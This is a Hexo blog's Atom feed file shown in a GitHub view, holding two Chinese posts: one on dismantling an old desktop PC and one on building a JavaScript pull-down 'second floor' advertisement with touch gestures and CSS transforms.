-
Notifications
You must be signed in to change notification settings - Fork 0
/
atom.xml
1383 lines (1224 loc) · 381 KB
/
atom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>Seven's Blog</title>
<subtitle>Share, Learn, Enjoy, Keep</subtitle>
<link href="/atom.xml" rel="self"/>
<link href="http://sevencai.github.io/"/>
<updated>2021-07-14T14:30:59.000Z</updated>
<id>http://sevencai.github.io/</id>
<author>
<name>Seven Cai</name>
</author>
<generator uri="http://hexo.io/">Hexo</generator>
<entry>
<title>主机拆解</title>
<link href="http://sevencai.github.io/2021/06/24/%E4%B8%BB%E6%9C%BA%E6%8B%86%E8%A7%A3/"/>
<id>http://sevencai.github.io/2021/06/24/主机拆解/</id>
<published>2021-06-24T11:29:33.000Z</published>
<updated>2021-07-14T14:30:59.000Z</updated>
<content type="html"><![CDATA[<p>一年前前房主留下来了一台电脑的主机,不舍得扔。然后想了想还是把他拆了再扔了吧。拆完就想记录下,这一转眼,竟然过了一年。</p>
<p><img src="1.jpg" alt="拆解前"></p>
<hr>
<h2 id="主要组成部分"><a href="#主要组成部分" class="headerlink" title="主要组成部分"></a>主要组成部分</h2><p>一个主机主要包含:</p>
<p>1、硬盘<br>2、内存条<br>3、光驱<br>4、电源<br>5、CPU<br>6、CPU风扇<br>7、显卡<br>8、数据线<br>9、主板</p>
<p>这7个部分。下面分别介绍下这几个部分的功能,以及最后我拆出来长啥样。</p>
<hr>
<h2 id="电源"><a href="#电源" class="headerlink" title="电源"></a>电源</h2><p>为其他硬件提供电力<br><img src="14.jpg" alt="大电源"></p>
<hr>
<h2 id="硬盘"><a href="#硬盘" class="headerlink" title="硬盘"></a>硬盘</h2><p>硬盘是硬盘驱动器的简称,他的接口用来连接电源和数据线。<br>硬盘可以长期存储大量数据<br><img src="15.jpg" alt="硬盘"></p>
<hr>
<h2 id="光驱"><a href="#光驱" class="headerlink" title="光驱"></a>光驱</h2><p>个人感觉光驱最难拆,光驱是光盘驱动器,前端是光盘的出口,后端是电源和数据线的接口。<br>光驱能读取光盘中的数据。<br><img src="2.jpg" alt="光盘"></p>
<hr>
<h2 id="数据线"><a href="#数据线" class="headerlink" title="数据线"></a>数据线</h2><p>是数据传递的高速公路。<br><img src="13.jpg" alt="数据线"></p>
<hr>
<h2 id="显卡"><a href="#显卡" class="headerlink" title="显卡"></a>显卡</h2><p>他的接口用来连接显示器等输出设备,显卡是输出视频新号的设备。<br><img src="12.jpg" alt="显卡"></p>
<hr>
<h2 id="内存条"><a href="#内存条" class="headerlink" title="内存条"></a>内存条</h2><p>内存条是存放当前使用数据的场所。<br><img src="9.jpg" alt="内存条"></p>
<hr>
<h2 id="CPU风扇"><a href="#CPU风扇" class="headerlink" title="CPU风扇"></a>CPU风扇</h2><p>用来给高速运转的CPU降温<br><img src="10.jpg" alt="cpu风扇"></p>
<hr>
<h2 id="CPU"><a href="#CPU" class="headerlink" title="CPU"></a>CPU</h2><p>CPU是个小方块,CPU是中央处理器,是计算机最核心的部件。<br><img src="6.jpg" alt="cpu"></p>
<hr>
<h2 id="主板"><a href="#主板" class="headerlink" title="主板"></a>主板</h2><p>主板用来连接其他硬件设备。<br><img src="7.jpg" alt="主板"></p>
<hr>
<h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>计算机除了主机外,还有很多外部设备,比如输入设备键盘、鼠标。输出设备耳机、显示屏。</p>
<p>主机后面有很多接口,常用的有<br>1、电源接口<br>2、PS/2 鼠标键盘接口<br>3、VGA视频输出接口<br>4、USB接口<br>5、麦克风接口<br>6、耳机接口</p>
<p><img src="8.jpg" alt="拆解后"></p>
]]></content>
<summary type="html">
<p>一年前前房主留下来了一台电脑的主机,不舍得扔。然后想了想还是把他拆了再扔了吧。拆完就想记录下,这一转眼,竟然过了一年。</p>
<p><img src="1.jpg" alt="拆解前"></p>
<hr>
<h2 id="主要组成部分"><a href="#主要组成部分"
</summary>
</entry>
<entry>
<title>JS实现手势下拉出现二楼广告功能</title>
<link href="http://sevencai.github.io/2021/01/31/JS%E5%AE%9E%E7%8E%B0%E6%89%8B%E5%8A%BF%E4%B8%8B%E6%8B%89%E5%87%BA%E7%8E%B0%E4%BA%8C%E6%A5%BC%E5%B9%BF%E5%91%8A%E5%8A%9F%E8%83%BD/"/>
<id>http://sevencai.github.io/2021/01/31/JS实现手势下拉出现二楼广告功能/</id>
<published>2021-01-31T11:33:12.000Z</published>
<updated>2021-01-31T15:14:02.000Z</updated>
<content type="html"><![CDATA[<h2 id="原始诉求及解决的问题"><a href="#原始诉求及解决的问题" class="headerlink" title="原始诉求及解决的问题"></a>原始诉求及解决的问题</h2><p>产品的原始需求是:</p>
<p>1、手势下拉时,出现二楼广告<br>2、有强运营广告时,不需手指触发,直接开屏展现</p>
<p>用于尝试解决首页 <code>banner</code> 点击转换率低,大型运营活动效果弱的问题。实现功能截图及视频如下:</p>
<hr>
<h2 id="解决思路"><a href="#解决思路" class="headerlink" title="解决思路"></a>解决思路</h2><p>后面决定用( <code>css3</code> 的 <code>translate</code>) + (手势滑动)来解决。主要需要解决以下问题:</p>
<h3 id="1、监听手势滑动"><a href="#1、监听手势滑动" class="headerlink" title="1、监听手势滑动"></a>1、监听手势滑动</h3><p>当满足<br>1)手指下滑<br>2)页面在最顶部<br>3)当前未展示二楼<br>4)手指下滑移动距离超过一定的距离<br>可下滑展示二楼</p>
<p>当满足<br>1)手指上滑<br>2)当前已展示二楼<br>可上滑收回二楼</p>
<h3 id="2、滑动效果"><a href="#2、滑动效果" class="headerlink" title="2、滑动效果"></a>2、滑动效果</h3><p>整个<strong>页面 dom 分为三个部分</strong>:<br>1)二楼 dom 区域 (黄色区域)<br>2)触摸区域 (蓝黑区域)<br>3)页面主体部分 (红色部分)</p>
<p>二楼和页面主体这两个部分会进行 translateY 移动, 监听手指滑动的事件绑定在触摸区域上。</p>
<p><strong>之所以不把触摸区域放在整个页面,是因为二楼的下拉和收回底部区域一定不可能触发,因此只需要再页面上半部分绑定即可</strong>。</p>
<p>整个<strong>滑动分为三种情况(以下x为二楼的高度)</strong>:<br>1、当页面最开始时, 二楼 translateY(-x), 主体部分 translateY(0)<br>2、当手指向下滑动 y 距离时,二楼 translateY (-x + y), 主体部分 translateY(y)<br>3、当手指松开时,判断 y 的距离是否超过一定距离(设置的moveOffset)</p>
<blockquote>
<p>若超过,则证明滑动距离足够大,此时二楼 translateY(0),而主体部分 translate(x)<br>若不超过,则证明滑动距离比较小(也可能是误触),此时二楼不下拉展示,回到原来的距离。即二楼 translateY(-x), 主体部分 translateY(0)</p>
</blockquote>
<hr>
<h2 id="核心实现"><a href="#核心实现" class="headerlink" title="核心实现"></a>核心实现</h2><p>首先根据功能,编写类方法,类方法里主要要传入以上提及到的多个元素:<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">this</span>.secondFloorInstance = <span class="keyword">new</span> secondFloor({</span><br><span class="line"> <span class="comment">// 二楼区域</span></span><br><span class="line"> secondFloorWrap,</span><br><span class="line"> <span class="comment">// 主体区域</span></span><br><span class="line"> contentWrap,</span><br><span class="line"> <span class="comment">// 触摸区域</span></span><br><span class="line"> touchWrap,</span><br><span class="line"> <span class="comment">// 下拉成功回调</span></span><br><span class="line"> onPullDownSucc: <span class="function"><span class="params">()</span> =></span> {</span><br><span class="line"> <span class="keyword">this</span>.onPullDownSuccCallback()</span><br><span class="line"> }</span><br><span class="line">})</span><br></pre></td></tr></table></figure></p>
<p>类里面实现以下几个功能:</p>
<h3 id="移动元素的方法"><a href="#移动元素的方法" class="headerlink" title="移动元素的方法"></a>移动元素的方法</h3><p>移动元素及动画,使用 css 的 transform translate 即可。有了移动元素的动画方法,随后就可以就可以根据上面的思路解决下拉的动画和收回的动画。<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">SecondFloor</span></span>{</span><br><span class="line"> <span class="keyword">constructor</span>(options) {</span><br><span class="line"> <span class="comment">// 处理 options 的判断</span></span><br><span class="line"> <span class="comment">// 绑定事件</span></span><br><span class="line"> <span class="comment">// ....</span></span><br><span class="line"> </span><br><span class="line"> <span class="comment">// 初始化变量</span></span><br><span class="line"> <span class="keyword">this</span>.secondFloorShowing = <span class="literal">false</span></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 移动 dom 元素 y 轴方向的位置</span></span><br><span class="line"><span class="comment"> * @param el 需要移动的元素</span></span><br><span class="line"><span class="comment"> * @param y y轴方向移动的距离</span></span><br><span class="line"><span class="comment"> * @param duration 动画时间</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> translateY(el, y = <span class="number">0</span>, duration = <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">if</span> (!el) {</span><br><span class="line"> <span class="keyword">return</span></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> el.style.transform = <span class="string">`translate(0px, <span class="subst">${y}</span>px) translateZ(0px)`</span></span><br><span class="line"> el.style.webkitTransform = <span class="string">`translate(0px, <span class="subst">${y}</span>px) translateZ(0px)`</span></span><br><span class="line"></span><br><span class="line"> el.style.transitionDuration = <span class="string">`<span class="subst">${duration}</span>ms`</span></span><br><span class="line"> el.style.webkitTransitionDuration = <span class="string">`<span class="subst">${duration}</span>ms`</span></span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="comment">// 显示二楼</span></span><br><span class="line"> showSecondFloor() {</span><br><span class="line"> <span class="keyword">let</span> transitionDuration = <span class="keyword">this</span>.options.transitionDuration</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">this</span>.translateY(<span class="keyword">this</span>.secondFloorWrap, <span class="number">0</span>, transitionDuration)</span><br><span class="line"> <span class="keyword">this</span>.translateY(<span class="keyword">this</span>.contentWrap, <span class="keyword">this</span>.secondFloorWrapHeight, transitionDuration)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.secondFloorShowing = <span class="literal">true</span></span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="comment">// 隐藏二楼</span></span><br><span class="line"> hideSecondFloor() {</span><br><span class="line"> <span class="keyword">let</span> transitionDuration = <span class="keyword">this</span>.options.transitionDuration</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">this</span>.translateY(<span class="keyword">this</span>.contentWrap, <span class="number">0</span>, transitionDuration)</span><br><span class="line"> <span class="keyword">this</span>.translateY(<span class="keyword">this</span>.secondFloorWrap, <span class="keyword">this</span>.secondFloorWrapHeight * <span class="number">-1</span>, transitionDuration)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.secondFloorShowing = <span class="literal">false</span></span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p>
<p>使用 translateY 时,注意要加上硬件加速,GPU 中的 transform 等 css 属性不会触发重绘。整体看起来二楼下滑和收回会更加流畅。<br><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-tag">-webkit-transform</span>: <span class="selector-tag">translateZ</span>(0);</span><br><span class="line"><span class="selector-tag">transform</span>: <span class="selector-tag">translateZ</span>(0);</span><br></pre></td></tr></table></figure></p>
<h3 id="手势处理"><a href="#手势处理" class="headerlink" title="手势处理"></a>手势处理</h3><p>当动画处理后,后面最重要的就是手势的处理,手势的处理需要注意边界条件<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="comment">// 设置手指移动的方向</span></span><br><span class="line"><span class="keyword">const</span> MOVE_DIRECTION = {</span><br><span class="line"> INIT: <span class="string">"init"</span>,</span><br><span class="line"> UP: <span class="string">"up"</span>,</span><br><span class="line"> DOWN: <span class="string">"down"</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="built_in">Object</span>.freeze(MOVE_DIRECTION)</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">SecondFloor</span></span>{</span><br><span class="line"> <span class="keyword">constructor</span>() {</span><br><span class="line"> <span class="comment">// ...</span></span><br><span class="line"> </span><br><span class="line"> <span class="keyword">this</span>.startX = <span class="number">0</span></span><br><span class="line"> <span class="keyword">this</span>.startY = <span class="number">0</span></span><br><span class="line"> <span class="keyword">this</span>.direction = MOVE_DIRECTION.INIT</span><br><span class="line"> </span><br><span class="line"> <span class="comment">// 是否符合触摸条件的标识</span></span><br><span class="line"> <span class="keyword">this</span>.isTouching = <span class="literal">false</span></span><br><span class="line"> </span><br><span class="line"> <span class="comment">// 当前高度</span></span><br><span class="line"> <span class="keyword">this</span>.initialScrollTop = <span class="number">0</span></span><br><span class="line"> </span><br><span class="line"> <span class="comment">// 处理下拉逻辑</span></span><br><span class="line"> <span class="keyword">this</span>.bindTouchStartEvent()</span><br><span class="line"> <span class="keyword">this</span>.bindTouchMoveEvent()</span><br><span class="line"> <span class="keyword">this</span>.bindTouchEndEvent()</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 绑定手指触摸事件</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> bindTouchStartEvent() {</span><br><span class="line"> <span class="keyword">this</span>.touchWrap.addEventListener(<span class="string">"touchstart"</span>, e => {</span><br><span class="line"> <span class="keyword">this</span>.initialScrollTop = <span class="keyword">this</span>.getScrollTop()</span><br><span class="line"> </span><br><span class="line"> <span class="comment">// 只有在最顶部的时候或在二楼展示状态下才需要去绑定手势事件</span></span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">this</span>.initialScrollTop <= <span class="number">0</span> || <span class="keyword">this</span>.secondFloorShowing) {</span><br><span class="line"> <span class="keyword">this</span>.isTouching = <span class="literal">true</span></span><br><span class="line"> <span class="keyword">this</span>.startX = (e.touches && e.touches[<span class="number">0</span>].pageX) || e.clientX</span><br><span class="line"> <span class="keyword">this</span>.startY = (e.touches && e.touches[<span class="number">0</span>].pageY) || e.clientY</span><br><span class="line"> }</span><br><span class="line"> }, <span class="keyword">this</span>.testSupportPassive() ? { <span class="attr">passive</span>: <span class="literal">true</span> } : <span class="literal">false</span>)</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 绑定手指移动事件</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> bindTouchMoveEvent() {</span><br><span class="line"> <span class="keyword">this</span>.touchWrap.addEventListener(<span class="string">"touchmove"</span>, e => {</span><br><span class="line"> <span class="keyword">if</span> (!<span class="keyword">this</span>.isTouching) {</span><br><span class="line"> <span class="keyword">return</span></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">let</span> currentX = (e.touches && e.touches[<span class="number">0</span>].pageX) || e.clientX</span><br><span class="line"> <span class="keyword">let</span> currentY = (e.touches && e.touches[<span class="number">0</span>].pageY) || e.clientY</span><br><span class="line"></span><br><span class="line"> <span class="keyword">let</span> xDiff = currentX - <span class="keyword">this</span>.startX</span><br><span class="line"> <span class="keyword">let</span> yDiff = currentY - <span class="keyword">this</span>.startY</span><br><span class="line"></span><br><span class="line"> <span class="comment">// x 的绝对值大于 y 的绝对值,说明是左右滑动,阻止默认行为</span></span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">Math</span>.abs(xDiff) > <span class="built_in">Math</span>.abs(yDiff)) {</span><br><span class="line"> <span class="keyword">this</span>.preventDefault(e)</span><br><span class="line"> <span class="keyword">return</span></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 如果y轴差值大于0,说明是向下滑动</span></span><br><span class="line"> <span class="keyword">if</span> (yDiff > <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">this</span>.secondFloorShowing) {</span><br><span class="line"> <span class="keyword">this</span>.preventDefault(e)</span><br><span class="line"> <span class="keyword">return</span></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 阻止默认滚动行为,此处只需要动画即可</span></span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">this</span>.initialScrollTop <= <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">this</span>.preventDefault(e)</span><br><span class="line"> <span class="keyword">this</span>.direction = MOVE_DIRECTION.DOWN</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.translateY(<span class="keyword">this</span>.secondFloorWrap, <span class="built_in">Math</span>.abs(yDiff) - <span class="keyword">this</span>.secondFloorWrapHeight)</span><br><span class="line"> <span class="keyword">this</span>.translateY(<span class="keyword">this</span>.contentWrap, <span class="built_in">Math</span>.abs(yDiff))</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">// 差值小于0,则是向上滚动,此时收回二楼,且阻止默认滚动行为,只需要再touchend时动画</span></span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">this</span>.secondFloorShowing) {</span><br><span class="line"> <span class="keyword">this</span>.preventDefault(e)</span><br><span class="line"> <span class="keyword">this</span>.direction = MOVE_DIRECTION.UP</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> })</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 绑定手指松开时的事件</span></span><br><span class="line"><span class="comment"> * 松开时就判断移动距离,改收回就收回,改展示二楼就展示二楼</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> bindTouchEndEvent() {</span><br><span class="line"> <span class="keyword">this</span>.touchWrap.addEventListener(<span class="string">"touchend"</span>, e => {</span><br><span class="line"> <span class="keyword">this</span>.initialScrollTop = <span class="number">0</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (!<span class="keyword">this</span>.isTouching) {</span><br><span class="line"> <span class="keyword">return</span></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">this</span>.direction === MOVE_DIRECTION.DOWN) {</span><br><span class="line"> <span class="keyword">this</span>.handleMoveDownEndEvent(e)</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (<span class="keyword">this</span>.direction === MOVE_DIRECTION.UP) {</span><br><span class="line"> <span class="keyword">this</span>.handleMoveUpEndEvent(e)</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.startX = <span class="literal">null</span></span><br><span class="line"> <span class="keyword">this</span>.startY = <span class="literal">null</span></span><br><span class="line"> <span class="keyword">this</span>.isTouching = <span class="literal">false</span></span><br><span class="line"> })</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 处理用户下拉的时候的操作</span></span><br><span class="line"><span class="comment"> * @param e</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> handleMoveDownEndEvent(e) {</span><br><span class="line"> <span class="keyword">let</span> currentY = (e.changedTouches && e.changedTouches[<span class="number">0</span>].pageY) || e.clientY</span><br><span class="line"> <span class="keyword">let</span> diff = currentY - <span class="keyword">this</span>.startY</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 当距离超过了设置的值</span></span><br><span class="line"> <span class="keyword">if</span> (diff > <span class="keyword">this</span>.options.moveOffset) {</span><br><span class="line"> <span class="keyword">this</span>.showSecondFloor()</span><br><span class="line"> <span class="keyword">this</span>.options.onPullDownSucc && <span class="keyword">this</span>.options.onPullDownSucc()</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">this</span>.hideSecondFloor()</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.direction = MOVE_DIRECTION.INIT</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 手指上滑动事件</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> handleMoveUpEndEvent() {</span><br><span class="line"> <span class="keyword">this</span>.hideSecondFloor()</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.direction = MOVE_DIRECTION.INIT</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p>
<p>整个手势滑动,处理时比较重要的就是边界处理,比如如果不是在最顶部,那就不能触发下拉。比如如果二楼已经出现,再下拉不能再触发二楼动画。再比如能触发上滑一定是能只能在二楼展开的时候。</p>
<hr>
<h2 id="其他"><a href="#其他" class="headerlink" title="其他"></a>其他</h2><p>test passive</p>
<hr>
<h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>这里功能不复杂,但是做起来还是花了点时间,主要是这里需要着重处理下边界。</p>
]]></content>
<summary type="html">
<h2 id="原始诉求及解决的问题"><a href="#原始诉求及解决的问题" class="headerlink" title="原始诉求及解决的问题"></a>原始诉求及解决的问题</h2><p>产品的原始需求是:</p>
<p>1、手势下拉时,出现二楼广告<br>2、有
</summary>
<category term="Javascript" scheme="http://sevencai.github.io/tags/Javascript/"/>
</entry>
<entry>
